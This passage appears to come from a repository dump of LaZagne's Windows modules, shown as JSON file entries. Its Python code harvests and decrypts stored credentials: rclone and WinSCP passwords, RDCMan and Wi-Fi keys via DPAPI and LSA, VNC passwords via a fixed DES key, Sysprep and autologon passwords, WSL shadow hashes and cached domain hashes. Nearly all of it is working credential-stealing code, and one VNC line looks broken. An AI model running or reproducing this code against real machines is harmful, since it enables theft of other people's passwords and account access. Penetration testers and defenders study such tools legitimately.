    "content": "# -*- coding: utf-8 -*-\n\n# This code has been taken from https://github.com/maaaaz/rclonedeobscure\n# All credits to maaaaz\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import constant\n\nimport base64\nimport json\nimport os\n\ntry:\n    from ConfigParser import RawConfigParser  # Python 2.7\nexcept ImportError:\n    from configparser import RawConfigParser  # Python 3\n\nfrom Crypto.Cipher import AES\n\n\nclass Rclone(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'rclone', 'sysadmin')\n        # -- https://github.com/rclone/rclone/blob/master/fs/config/obscure/obscure.go\n        self.secret_key = b\"\\x9c\\x93\\x5b\\x48\\x73\\x0a\\x55\\x4d\\x6b\\xfd\\x7c\\x63\\xc8\\x86\\xa9\\x2b\\xd3\\x90\\x19\\x8e\\xb8\\x12\\x8a\\xfb\\xf4\\xde\\x16\\x2b\\x8b\\x95\\xf6\\x38\"\n\n    def base64_urlsafedecode(self, string):\n        '''\n        Adds back in the required padding before decoding.\n        https://gist.github.com/cameronmaske/f520903ade824e4c30ab\n        '''\n        padding = 4 - (len(string) % 4)\n        string = string + (\"=\" * padding)\n        return base64.urlsafe_b64decode(string)\n\n    def aes_ctr_decrypt(self, encrypted_password, iv):\n        '''\n        Do not forget to set an empty nonce\n        https://stackoverflow.com/questions/56217725/openssh-opensshportable-which-key-should-i-extract-from-memory\n        '''\n        crypter = AES.new(key=self.secret_key, mode=AES.MODE_CTR, initial_value=iv, nonce=b'')\n        decrypted_password = crypter.decrypt(encrypted_password)\n        \n        return decrypted_password.decode('utf-8')\n\n    def deobscure(self, obscured):\n        encrypted_password = self.base64_urlsafedecode(obscured)\n        buf = encrypted_password[AES.block_size:]\n        iv = encrypted_password[:AES.block_size]\n        return self.aes_ctr_decrypt(buf, iv)\n\n    def run(self):\n        pwd_found = []\n        path = os.path.join(constant.profile['APPDATA'], u'rclone', u'rclone.conf')\n        if os.path.exists(path):\n            cp = RawConfigParser()\n            cp.read(path)\n            for section in cp.sections():\n                values = {\n                    \"Name\": section\n                }\n                for element in cp.options(section): \n                    if 'pass' in element.lower(): \n                        passwd = self.deobscure(cp.get(section, element))\n                        values[element.replace('pass', 'Password')] = passwd\n                    else: \n                        values[element.capitalize()] = cp.get(section, element)\n\n                pwd_found.append(values)\n\n        return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/rdpmanager.py",
    "content": "# -*- coding: utf-8 -*-\r\nimport base64\r\n\r\nfrom xml.etree.cElementTree import ElementTree\r\n\r\nfrom lazagne.config.module_info import ModuleInfo\r\nfrom lazagne.config.winstructure import Win32CryptUnprotectData\r\nfrom lazagne.config.constant import constant\r\n\r\nimport os\r\n\r\n\r\nclass RDPManager(ModuleInfo):\r\n    def __init__(self):\r\n        ModuleInfo.__init__(self, 'rdpmanager', 'sysadmin', winapi_used=True)\r\n\r\n    def decrypt_password(self, encrypted_password):\r\n        try:\r\n            decoded = base64.b64decode(encrypted_password)\r\n            password_decrypted_bytes = Win32CryptUnprotectData(decoded, is_current_user=constant.is_current_user,\r\n                                                               user_dpapi=constant.user_dpapi)\r\n            password_decrypted = password_decrypted_bytes.decode(\"utf-8\")\r\n            password_decrypted = password_decrypted.replace('\\x00', '')\r\n        except Exception:\r\n            password_decrypted = encrypted_password.replace('\\x00', '')\r\n        return password_decrypted\r\n\r\n    def format_output_tag(self, tag):\r\n        tag = tag.lower()\r\n        if 'username' in tag:\r\n            tag = 'Login'\r\n        elif 'hostname' in tag:\r\n            tag = 'URL'\r\n        return tag.capitalize()\r\n\r\n    def check_tag_content(self, values, c):\r\n        if 'password' in c.tag.lower():\r\n            values['Password'] = self.decrypt_password(c.text)\r\n        else:\r\n            tag = self.format_output_tag(c.tag)\r\n            values[tag] = c.text\r\n        return values\r\n\r\n    def parse_element(self, root, element):\r\n        pwd_found = []\r\n        try:\r\n            for r in root.findall(element):\r\n                values = {}\r\n                for child in list(r):\r\n                    if child.tag == 'properties':\r\n                        for c in list(child):\r\n                            values = self.check_tag_content(values, c)\r\n                    elif child.tag == 'logonCredentials':\r\n                        for c in list(child):\r\n                            values = self.check_tag_content(values, c)\r\n                    else:\r\n                        values = self.check_tag_content(values, child)\r\n                if values:\r\n                    pwd_found.append(values)\r\n        except Exception as e:\r\n            self.debug(str(e))\r\n\r\n        return pwd_found\r\n\r\n    def run(self):\r\n        settings = [\r\n            os.path.join(constant.profile['LOCALAPPDATA'],\r\n                         u'Microsoft Corporation\\\\Remote Desktop Connection Manager\\\\RDCMan.settings'),\r\n            os.path.join(constant.profile['LOCALAPPDATA'],\r\n                         u'Microsoft\\\\Remote Desktop Connection Manager\\\\RDCMan.settings')\r\n        ]\r\n\r\n        for setting in settings:\r\n            if os.path.exists(setting):\r\n                self.debug(u'Setting file found: {setting}'.format(setting=setting))\r\n\r\n                tree = ElementTree(file=setting)\r\n                root = tree.getroot()\r\n                pwd_found = []\r\n\r\n                elements = [\r\n                    'CredentialsProfiles/credentialsProfiles/credentialsProfile',\r\n                    'DefaultGroupSettings/defaultSettings/logonCredentials',\r\n                    'file/server',\r\n                ]\r\n\r\n                for element in elements:\r\n                    pwd_found += self.parse_element(root, element)\r\n\r\n                try:\r\n                    for r in root.find('FilesToOpen'):\r\n                        if os.path.exists(r.text):\r\n                            self.debug(u'New setting file found: %s' % r.text)\r\n                            pwd_found += self.parse_xml(r.text)\r\n                except Exception:\r\n                    pass\r\n\r\n                return pwd_found\r\n\r\n    def parse_xml(self, xml_file):\r\n            import xml.etree.ElementTree as ET\r\n            tree = ET.parse(xml_file)\r\n            root = tree.getroot()\r\n            res = []\r\n            for server in root.findall('.//server'):\r\n                # get the name element\r\n                host = None\r\n                username = None\r\n                password = None\r\n\r\n                hostTag = server.find('properties/name')\r\n                if hostTag is not None:\r\n                    host = hostTag.text\r\n\r\n                # get the username and password elements\r\n                usernameTag = server.find('logonCredentials/userName')\r\n                if usernameTag is not None:\r\n                    username = usernameTag.text\r\n                passwordTag = server.find('logonCredentials/password')\r\n                if passwordTag is not None:\r\n                    password = passwordTag.text\r\n                    password = self.decrypt_password(password)\r\n\r\n                # print the results\r\n                print(f\"host: {host}, Username: {username}, Password: {password}\")\r\n                res += [{'URL': host, 'Login': username, 'Password': password}]\r\n            return res\r\n\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/unattended.py",
    "content": "# -*- coding: utf-8 -*- \r\n\r\nimport base64\r\n\r\nfrom xml.etree.cElementTree import ElementTree\r\n\r\nfrom lazagne.config.module_info import ModuleInfo\r\nfrom lazagne.config.constant import constant\r\nfrom lazagne.config.winstructure import string_to_unicode\r\n\r\nimport os\r\n\r\n\r\nclass Unattended(ModuleInfo):\r\n    def __init__(self):\r\n        ModuleInfo.__init__(self, 'unattended', 'sysadmin', system_module=True)\r\n\r\n    # Password should be encoded in b64\r\n    def try_b64_decode(self, message):\r\n        try:\r\n            return base64.b64decode(message)\r\n        except Exception:\r\n            return message\r\n\r\n    def run(self):\r\n\r\n        windir = os.path.join(constant.profile['HOMEDRIVE'], string_to_unicode(os.sep), u'Windows')\r\n        files = [\r\n            'Panther\\\\Unattend.xml',\r\n            'Panther\\\\Unattended.xml',\r\n            'Panther\\\\Unattend\\\\Unattended.xml',\r\n            'Panther\\\\Unattend\\\\Unattend.xml',\r\n            'System32\\\\Sysprep\\\\unattend.xml',\r\n            'System32\\\\Sysprep\\\\Panther\\\\unattend.xml'\r\n        ]\r\n\r\n        pwd_found = []\r\n        xmlns = '{urn:schemas-microsoft-com:unattend}'\r\n        for file in files:\r\n            path = os.path.join(windir, string_to_unicode(file))\r\n            if os.path.exists(path):\r\n                self.debug(u'Unattended file found: %s' % path)\r\n                tree = ElementTree(file=path)\r\n                root = tree.getroot()\r\n\r\n                for setting in root.findall('%ssettings' % xmlns):\r\n                    component = setting.find('%scomponent' % xmlns)\r\n\r\n                    auto_logon = component.find('%sauto_logon' % xmlns)\r\n                    if auto_logon:\r\n                        username = auto_logon.find('%sUsername' % xmlns)\r\n                        password = auto_logon.find('%sPassword' % xmlns)\r\n                        if all((username, password)):\r\n                            # Remove false positive (with following message on password => *SENSITIVE*DATA*DELETED*)\r\n                            if 'deleted' not in password.text.lower():\r\n                                pwd_found.append({\r\n                                    'Login': username.text,\r\n                                    'Password': self.try_b64_decode(password.text)\r\n                                })\r\n\r\n                    user_accounts = component.find('%suser_accounts' % xmlns)\r\n                    if user_accounts:\r\n                        local_accounts = user_accounts.find('%slocal_accounts' % xmlns)\r\n                        if local_accounts:\r\n                            for local_account in local_accounts.findall('%slocal_account' % xmlns):\r\n                                username = local_account.find('%sName' % xmlns)\r\n                                password = local_account.find('%sPassword' % xmlns)\r\n                                if all((username, password)):\r\n                                    if 'deleted' not in password.text.lower():\r\n                                        pwd_found.append({\r\n                                            'Login': username.text,\r\n                                            'Password': self.try_b64_decode(password.text)\r\n                                        })\r\n\r\n        return pwd_found\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/vnc.py",
    "content": "# Code based on vncpasswd.py by trinitronx\n# https://github.com/trinitronx/vncpasswd.py\nimport binascii\nimport codecs\nimport traceback\n\ntry:\n    import _winreg as winreg\nexcept ImportError:\n    import winreg\n\nfrom . import d3des as d\nfrom lazagne.config.winstructure import *\nfrom lazagne.config.module_info import ModuleInfo\n\n\nclass Vnc(ModuleInfo):\n    def __init__(self):\n        self.vnckey = [23, 82, 107, 6, 35, 78, 88, 7]\n        ModuleInfo.__init__(self, name='vnc', category='sysadmin')\n\n    def split_len(self, seq, length):\n        return [seq[i:i + length] for i in range(0, len(seq), length)]\n\n    def do_crypt(self, password, decrypt):\n        passpadd = (password + '\\x00' * 8)[:8]\n        strkey = b''.join([chr_or_byte(x) for x in int(self.vnckey)])\n        key = d.deskey(strkey, decrypt)\n        crypted = d.desfunc(passpadd, key)\n        return crypted\n\n    def unhex(self, s):\n        try:\n            s = codecs.decode(s, 'hex')\n        except TypeError as e:\n            if e.message == 'Odd-length string':\n                self.debug('%s . Chopping last char off... \"%s\"' % (e.message, s[:-1]))\n                s = codecs.decode(s[:-1], 'hex')\n            else:\n                return False\n        return s\n\n    def reverse_vncpassword(self, hash):\n        encpasswd = self.unhex(hash)\n        pwd = None\n        if encpasswd:\n            # If the hex encoded passwd length is longer than 16 hex chars and divisible\n            # by 16, then we chop the passwd into blocks of 64 bits (16 hex chars)\n            # (1 hex char = 4 binary bits = 1 nibble)\n            hexpasswd = codecs.encode(encpasswd, 'hex')\n            if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0:\n                splitstr = self.split_len(codecs.encode(hash, 'hex'), 16)\n                cryptedblocks = []\n                for sblock in splitstr:\n                    cryptedblocks.append(self.do_crypt(codecs.decode(sblock, 'hex'), True))\n                    pwd = b''.join(cryptedblocks)\n            elif len(hexpasswd) <= 16:\n                pwd = self.do_crypt(encpasswd, True)\n            else:\n                pwd = self.do_crypt(encpasswd, True)\n        return pwd\n\n    def vnc_from_registry(self):\n        pfound = []\n        vncs = (\n            ('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Wow6432Node\\\\RealVNC\\\\WinVNC4', 'Password'),\n            ('RealVNC 3.x', 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\RealVNC\\\\vncserver', 'Password'),\n            ('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\RealVNC\\\\WinVNC4', 'Password'),\n            ('RealVNC 4.x', 'HKEY_CURRENT_USER\\\\SOFTWARE\\\\RealVNC\\\\WinVNC4', 'Password'),\n            ('RealVNC 3.x', 'HKEY_CURRENT_USER\\\\Software\\\\ORL\\\\WinVNC3', 'Password'),\n            ('TightVNC', 'HKEY_CURRENT_USER\\\\Software\\\\TightVNC\\\\Server', 'Password'),\n            ('TightVNC', 'HKEY_CURRENT_USER\\\\Software\\\\TightVNC\\\\Server', 'PasswordViewOnly'),\n            ('TightVNC', 'HKEY_LOCAL_MACHINE\\\\Software\\\\TightVNC\\\\Server', 'Password'),\n            ('TightVNC ControlPassword', 'HKEY_LOCAL_MACHINE\\\\Software\\\\TightVNC\\\\Server', 'ControlPassword'),\n            ('TightVNC', 'HKEY_LOCAL_MACHINE\\\\Software\\\\TightVNC\\\\Server', 'PasswordViewOnly'),\n            ('TigerVNC', 'HKEY_LOCAL_MACHINE\\\\Software\\\\TigerVNC\\\\Server', 'Password'),\n            ('TigerVNC', 'HKEY_CURRENT_USER\\\\Software\\\\TigerVNC\\\\Server', 'Password'),\n        )\n\n        for vnc in vncs:\n            try:\n                if vnc[1].startswith('HKEY_LOCAL_MACHINE'):\n                    hkey = OpenKey(HKEY_LOCAL_MACHINE, vnc[1].replace('HKEY_LOCAL_MACHINE\\\\', ''))\n\n                elif vnc[1].startswith('HKEY_CURRENT_USER'):\n                    hkey = OpenKey(HKEY_CURRENT_USER, vnc[1].replace('HKEY_CURRENT_USER\\\\', ''))\n\n                reg_key = winreg.QueryValueEx(hkey, vnc[2])[0]\n            except Exception:\n                self.debug(u'Problems with key:: {reg_key}'.format(reg_key=vnc[1]))\n                continue\n\n            try:\n                enc_pwd = binascii.hexlify(reg_key).decode()\n            except Exception:\n                self.debug(u'Problems with decoding: {reg_key}'.format(reg_key=reg_key))\n                continue\n\n            values = {}\n            try:\n                password = self.reverse_vncpassword(enc_pwd)\n                if password:\n                    values['Password'] = password\n            except Exception:\n                self.info(u'Problems with reverse_vncpassword: {reg_key}'.format(reg_key=reg_key))\n                self.debug()\n                continue\n\n            values['Server'] = vnc[0]\n            # values['Hash'] = enc_pwd\n            pfound.append(values)\n\n        return pfound\n\n    def vnc_from_filesystem(self):\n        # os.environ could be used here because paths are identical between users\n        pfound = []\n        vncs = (\n            ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\\\uvnc bvba\\\\UltraVNC\\\\ultravnc.ini', 'passwd'),\n            ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\\\uvnc bvba\\\\UltraVNC\\\\ultravnc.ini', 'passwd2'),\n            ('UltraVNC', os.environ['PROGRAMFILES'] + '\\\\uvnc bvba\\\\UltraVNC\\\\ultravnc.ini', 'passwd'),\n            ('UltraVNC', os.environ['PROGRAMFILES'] + '\\\\uvnc bvba\\\\UltraVNC\\\\ultravnc.ini', 'passwd2'),\n            ('UltraVNC', os.environ['PROGRAMFILES'] + '\\\\UltraVNC\\\\ultravnc.ini', 'passwd'),\n            ('UltraVNC', os.environ['PROGRAMFILES'] + '\\\\UltraVNC\\\\ultravnc.ini', 'passwd2'),\n            ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\\\UltraVNC\\\\ultravnc.ini', 'passwd'),\n            ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\\\UltraVNC\\\\ultravnc.ini', 'passwd2'),\n        )\n\n        for vnc in vncs:\n            string_to_match = vnc[2] + '='\n            enc_pwd = ''\n            try:\n                with open(vnc[1], 'r') as file:\n                    for line in file:\n                        if string_to_match in line:\n                            enc_pwd = line.replace(string_to_match, '').replace('\\n', '')\n            except Exception:\n                self.debug('Problems with file: {file}'.format(file=vnc[1]))\n                continue\n\n            values = {}\n            try:\n                password = self.reverse_vncpassword(enc_pwd)\n                if password:\n                    values['Password'] = password\n            except Exception:\n                self.debug(u'Problems with reverse_vncpassword: {enc_pwd}'.format(enc_pwd=enc_pwd))\n                self.debug(traceback.format_exc())\n                continue\n\n            values['Server'] = vnc[0]\n            # values['Hash'] = enc_pwd\n            pfound.append(values)\n\n        return pfound\n\n    def vnc_from_process(self):\n        # Not yet implemented\n        return []\n\n    def run(self):\n        return self.vnc_from_filesystem() + self.vnc_from_registry() + self.vnc_from_process()\n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/winscp.py",
    "content": "# -*- coding: utf-8 -*- \r\ntry: \r\n    import _winreg as winreg\r\nexcept ImportError:\r\n    import winreg\r\n\r\nfrom lazagne.config.module_info import ModuleInfo\r\nfrom lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER\r\n\r\n\r\nclass WinSCP(ModuleInfo):\r\n    def __init__(self):\r\n        ModuleInfo.__init__(self, 'winscp', 'sysadmin', registry_used=True)\r\n        self.hash = ''\r\n\r\n    # ------------------------------ Getters and Setters ------------------------------\r\n    def decrypt_char(self):\r\n        hex_flag = 0xA3\r\n        charset = '0123456789ABCDEF'\r\n\r\n        if len(self.hash) > 0:\r\n            unpack1 = charset.find(self.hash[0])\r\n            unpack1 = unpack1 << 4\r\n\r\n            unpack2 = charset.find(self.hash[1])\r\n            result = ~((unpack1 + unpack2) ^ hex_flag) & 0xff\r\n\r\n            # store the new hash\r\n            self.hash = self.hash[2:]\r\n\r\n            return result\r\n\r\n    def check_winscp_installed(self):\r\n        try:\r\n            key = OpenKey(HKEY_CURRENT_USER, 'Software\\\\Martin Prikryl\\\\WinSCP 2\\\\Configuration\\\\Security')\r\n            return key\r\n        except Exception as e:\r\n            self.debug(str(e))\r\n            return False\r\n\r\n    def check_masterPassword(self, key):\r\n        is_master_pwd_used = winreg.QueryValueEx(key, 'UseMasterPassword')[0]\r\n        winreg.CloseKey(key)\r\n        if str(is_master_pwd_used) == '0':\r\n            return False\r\n        else:\r\n            return True\r\n\r\n    def get_credentials(self):\r\n        try:\r\n            key = OpenKey(HKEY_CURRENT_USER, 'Software\\\\Martin Prikryl\\\\WinSCP 2\\\\Sessions')\r\n        except Exception as e:\r\n            self.debug(str(e))\r\n            return False\r\n\r\n        pwd_found = []\r\n        num_profiles = winreg.QueryInfoKey(key)[0]\r\n        for n in range(num_profiles):\r\n            name_skey = winreg.EnumKey(key, n)\r\n            skey = OpenKey(key, name_skey)\r\n            num = winreg.QueryInfoKey(skey)[1]\r\n\r\n            values = {}\r\n            elements = {'HostName': 'URL', 'UserName': 'Login', 'PortNumber': 'Port', 'Password': 'Password'}\r\n            for nn in range(num):\r\n                k = winreg.EnumValue(skey, nn)\r\n\r\n                for e in elements:\r\n                    if k[0] == e:\r\n                        if e == 'Password':\r\n                            try:\r\n                                values['Password'] = self.decrypt_password(\r\n                                    username=values.get('Login', ''),\r\n                                    hostname=values.get('URL', ''),\r\n                                    _hash=k[1]\r\n                                )\r\n                            except Exception as e:\r\n                                self.debug(str(e))\r\n                        else:\r\n                            values[elements[k[0]]] = str(k[1])\r\n\r\n            if num != 0:\r\n                if 'Port' not in values:\r\n                    values['Port'] = '22'\r\n\r\n                pwd_found.append(values)\r\n\r\n            winreg.CloseKey(skey)\r\n        winreg.CloseKey(key)\r\n\r\n        return pwd_found\r\n\r\n    def decrypt_password(self, username, hostname, _hash):\r\n        self.hash = _hash\r\n        hex_flag = 0xFF\r\n\r\n        flag = self.decrypt_char()\r\n        if flag == hex_flag:\r\n            self.decrypt_char()\r\n            length = self.decrypt_char()\r\n        else:\r\n            length = flag\r\n\r\n        ldel = (self.decrypt_char()) * 2\r\n        self.hash = self.hash[ldel: len(self.hash)]\r\n\r\n        result = ''\r\n        for ss in range(length):\r\n\r\n            try:\r\n                result += chr(int(self.decrypt_char()))\r\n            except Exception as e:\r\n                self.debug(str(e))\r\n\r\n        if flag == hex_flag:\r\n            key = username + hostname\r\n            result = result[len(key): len(result)]\r\n\r\n        return result\r\n\r\n    def run(self):\r\n        winscp_key = self.check_winscp_installed()\r\n        if winscp_key:\r\n            if not self.check_masterPassword(winscp_key):\r\n                results = self.get_credentials()\r\n                if results:\r\n                    return results\r\n            else:\r\n                self.warning(u'A master password is used. Passwords cannot been retrieved')\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/sysadmin/wsl.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import constant\n\nimport os\n\n\nclass Wsl(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'wsl', 'sysadmin')\n\n    def run(self):\n        pwd_found = []\n        shadow_files_list = []\n\n        # Old WSL PATH\n        old_path = os.path.join(constant.profile['LOCALAPPDATA'], u'lxss\\\\rootfs\\\\etc\\\\shadow')\n\n        if os.path.exists(old_path):\n            shadow_files_list.append(old_path)\n\n        # New WSL PATH need to look into Package folder\n        new_path = os.path.join(constant.profile['LOCALAPPDATA'], u'Packages\\\\')\n        if os.path.exists(new_path):\n            for root, dirs, files in os.walk(new_path):\n                for file in files:\n                    if file == \"shadow\":\n                        shadow_files_list.append(os.path.join(root, file))\n\n        # Extract the hashes\n        for shadow in shadow_files_list:\n            with open(shadow, 'r') as shadow_file:\n                for line in shadow_file.readlines():\n                    user_hash = line.replace('\\n', '')\n                    line = user_hash.split(':')\n\n                    # Check if a password is defined\n                    if not line[1] in ['x', '*', '!']:\n                        pwd_found.append({\n                            'Hash': ':'.join(user_hash.split(':')[1:]),\n                            'Login': user_hash.split(':')[0].replace('\\n', '')\n                        })\n        return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/wifi/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/softwares/wifi/wifi.py",
    "content": "# -*- coding: utf-8 -*-\r\nimport os\r\nimport sys\r\nimport traceback\r\n\r\nfrom xml.etree.cElementTree import ElementTree\r\nfrom subprocess import Popen, PIPE\r\n\r\nfrom lazagne.config.constant import constant\r\nfrom lazagne.config.module_info import ModuleInfo\r\nfrom lazagne.config.winstructure import python_version\r\n\r\n\r\nclass Wifi(ModuleInfo):\r\n    def __init__(self):\r\n        ModuleInfo.__init__(self, 'wifi', 'wifi')\r\n\r\n    def decrypt_using_lsa_secret(self, key):\r\n        \"\"\"\r\n        Needs admin priv but will work with all systems\r\n        \"\"\"\r\n        if constant.system_dpapi and constant.system_dpapi.unlocked:\r\n            decrypted_blob = constant.system_dpapi.decrypt_wifi_blob(key)\r\n            if decrypted_blob:\r\n                try:\r\n                    return decrypted_blob.decode(sys.getfilesystemencoding())\r\n                except UnicodeDecodeError:\r\n                    return str(decrypted_blob)\r\n\r\n    def decrypt_using_netsh(self, ssid):\r\n        \"\"\"\r\n        Does not need admin priv but would work only with english and french systems\r\n        \"\"\"\r\n        if python_version == 2: \r\n            name = 'содержимое ключа'\r\n        else: \r\n            name = 'содержимое ключа'.encode('utf-8')\r\n\r\n        language_keys = [\r\n            b'key content', b'contenu de la cl', name\r\n        ]\r\n\r\n        self.debug(u'Trying using netsh method')\r\n        process = Popen(['netsh.exe', 'wlan', 'show', 'profile', '{SSID}'.format(SSID=ssid), 'key=clear'],\r\n                        stdin=PIPE,\r\n                        stdout=PIPE,\r\n                        stderr=PIPE)\r\n        stdout, stderr = process.communicate()\r\n        for st in stdout.split(b'\\n'):\r\n            if any(i in st.lower() for i in language_keys):\r\n                password = st.split(b':')[1].strip()\r\n                return password\r\n\r\n    def run(self):\r\n        # Run the module only once\r\n        if not constant.wifi_password:\r\n            interfaces_dir = os.path.join(constant.profile['ALLUSERSPROFILE'],\r\n                                          u'Microsoft\\\\Wlansvc\\\\Profiles\\\\Interfaces')\r\n\r\n            # for windows Vista or higher\r\n            if os.path.exists(interfaces_dir):\r\n\r\n                pwd_found = []\r\n\r\n                for wifi_dir in os.listdir(interfaces_dir):\r\n                    if os.path.isdir(os.path.join(interfaces_dir, wifi_dir)):\r\n\r\n                        repository = os.path.join(interfaces_dir, wifi_dir)\r\n                        for file in os.listdir(repository):\r\n                            values = {}\r\n                            if os.path.isfile(os.path.join(repository, file)):\r\n                                f = os.path.join(repository, file)\r\n                                tree = ElementTree(file=f)\r\n                                root = tree.getroot()\r\n                                xmlns = root.tag.split(\"}\")[0] + '}'\r\n\r\n                                for elem in tree.iter():\r\n                                    if elem.tag.endswith('SSID'):\r\n                                        for w in elem:\r\n                                            if w.tag == xmlns + 'name':\r\n                                                values['SSID'] = w.text\r\n\r\n                                    if elem.tag.endswith('authentication'):\r\n                                        values['Authentication'] = elem.text\r\n\r\n                                    if elem.tag.endswith('protected'):\r\n                                        values['Protected'] = elem.text\r\n\r\n                                    if elem.tag.endswith('keyMaterial'):\r\n                                        key = elem.text\r\n                                        try:\r\n                                            password = self.decrypt_using_lsa_secret(key=key)\r\n                                            if not password:\r\n                                                password = self.decrypt_using_netsh(ssid=values['SSID'])\r\n                                            if password:\r\n                                                values['Password'] = password\r\n                                            else:\r\n                                                values['INFO'] = '[!] Password not found.'\r\n                                        except Exception:\r\n                                            self.error(traceback.format_exc())\r\n                                            values['INFO'] = '[!] Password not found.'\r\n\r\n                                if values and values.get('Authentication') != 'open':\r\n                                    pwd_found.append(values)\r\n\r\n                constant.wifi_password = True\r\n                return pwd_found\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/windows/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/softwares/windows/autologon.py",
    "content": "# -*- coding: utf-8 -*- \r\ntry: \r\n    import _winreg as winreg\r\nexcept ImportError:\r\n    import winreg\r\n\r\nfrom lazagne.config.module_info import ModuleInfo\r\nfrom lazagne.config.winstructure import *\r\n\r\n# Password are stored in cleartext on old system (< 2008 R2 and < Win7)\r\n# If enabled on recent system, the password should be visible on the lsa secrets dump (check lsa module output)\r\n\r\n\r\nclass Autologon(ModuleInfo):\r\n    def __init__(self):\r\n        ModuleInfo.__init__(self, 'autologon', 'windows', registry_used=True, system_module=True)\r\n\r\n    def run(self):\r\n        pwd_found = []\r\n        try:\r\n            hkey = OpenKey(HKEY_LOCAL_MACHINE, 'SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon')\r\n            if int(winreg.QueryValueEx(hkey, 'AutoAdminLogon')[0]) == 1:\r\n                self.debug(u'Autologin enabled')\r\n\r\n                keys = {\r\n                    'DefaultDomainName': '',\r\n                    'DefaultUserName': '',\r\n                    'DefaultPassword': '',\r\n                    'AltDefaultDomainName': '',\r\n                    'AltDefaultUserName': '',\r\n                    'AltDefaultPassword': '',\r\n                }\r\n\r\n                to_remove = []\r\n                for k in keys:\r\n                    try:\r\n                        keys[k] = str(winreg.QueryValueEx(hkey, k)[0])\r\n                    except Exception:\r\n                        to_remove.append(k)\r\n\r\n                for r in to_remove:\r\n                    keys.pop(r)\r\n\r\n                if keys:\r\n                    pwd_found.append(keys)\r\n\r\n        except Exception as e:\r\n            self.debug(str(e))\r\n\r\n        return pwd_found\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/windows/cachedump.py",
    "content": "# -*- coding: utf-8 -*- \r\nfrom .creddump7.win32.domcachedump import dump_file_hashes\r\nfrom lazagne.config.module_info import ModuleInfo\r\nfrom lazagne.config.winstructure import get_os_version\r\nfrom lazagne.config.constant import constant\r\n\r\n\r\nclass Cachedump(ModuleInfo):\r\n    def __init__(self):\r\n        ModuleInfo.__init__(self, 'mscache', 'windows', system_module=True)\r\n\r\n    def run(self):\r\n        is_vista_or_higher = False\r\n        if float(get_os_version()) >= 6.0:\r\n            is_vista_or_higher = True\r\n\r\n        mscache = dump_file_hashes(constant.hives['system'], constant.hives['security'], is_vista_or_higher)\r\n        if mscache:\r\n            return ['__MSCache__', mscache]\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/windows/creddump7/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/softwares/windows/creddump7/addrspace.py",
    "content": "# Volatility\n# Copyright (C) 2007 Volatile Systems\n#\n# Original Source:\n# Copyright (C) 2004,2005,2006 4tphi Research\n# Author: {npetroni,awalters}@4tphi.net (Nick Petroni and AAron Walters)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or (at\n# your option) any later version.\n#\n# This program is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Public License for more details. \n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA \n#\n\n\"\"\"\n@author:       AAron Walters\n@license:      GNU General Public License 2.0 or later\n@contact:      awalters@volatilesystems.com\n@organization: Volatile Systems\n\"\"\"\n\n\"\"\" Alias for all address spaces \"\"\"\n\nimport os\nimport struct\n\n\nclass FileAddressSpace:\n    def __init__(self, fname, mode='rb', fast=False):\n        self.fname = fname\n        self.name = fname\n        self.fhandle = open(fname, mode)\n        self.fsize = os.path.getsize(fname)\n\n        if fast:\n            self.fast_fhandle = open(fname, mode)\n\n    def fread(self, len):\n        return self.fast_fhandle.read(len)\n\n    def read(self, addr, len):\n        self.fhandle.seek(addr)\n        return self.fhandle.read(len)\n\n    def read_long(self, addr):\n        string = self.read(addr, 4)\n        (longval,) = struct.unpack('L', string)\n        return longval\n\n    def get_address_range(self):\n        return [0, self.fsize - 1]\n\n    def get_available_addresses(self):\n        return [self.get_address_range()]\n\n    def is_valid_address(self, addr):\n        return addr < self.fsize - 1\n\n    def close(self):\n        self.fhandle.close()\n\n\n# Code below written by Brendan Dolan-Gavitt\n\nBLOCK_SIZE = 0x1000\n\n\nclass HiveFileAddressSpace:\n    def __init__(self, fname):\n        self.fname = fname\n        self.base = FileAddressSpace(fname)\n\n    def vtop(self, vaddr):\n        return vaddr + BLOCK_SIZE + 4\n\n    def read(self, vaddr, length, zero=False):\n        first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE\n        full_blocks = int((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1\n        left_over = (length + vaddr) % BLOCK_SIZE\n\n        paddr = self.vtop(vaddr)\n        if not paddr and zero:\n            if length < first_block:\n                return \"\\0\" * length\n            else:\n                stuff_read = \"\\0\" * first_block\n        elif not paddr:\n            return None\n        else:\n            if length < first_block:\n                stuff_read = self.base.read(paddr, length)\n                if not stuff_read and 